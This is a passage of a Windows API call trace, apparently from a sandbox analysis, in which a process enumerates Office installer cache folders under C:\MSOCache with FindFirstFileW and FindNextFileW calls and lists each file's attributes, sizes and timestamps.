ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.186] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.187] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.187] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0047.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.189] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.189] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0047.190] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0047.190] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0047.190] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.190] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.190] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.191] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.191] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0047.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.192] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.192] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0047.192] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0047.192] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0047.192] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.192] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.193] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.193] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.193] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0047.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.195] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.195] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0047.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593120 [0047.195] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.195] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0047.196] FindClose (in: hFindFile=0x593120 | out: hFindFile=0x593120) returned 1 [0047.196] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0047.197] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0047.197] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0047.197] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0047.197] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0047.197] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0047.197] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.198] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.198] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593120 [0047.202] FindClose (in: hFindFile=0x593120 | out: hFindFile=0x593120) returned 1 [0047.202] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.202] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.202] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.203] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.317] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.318] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, 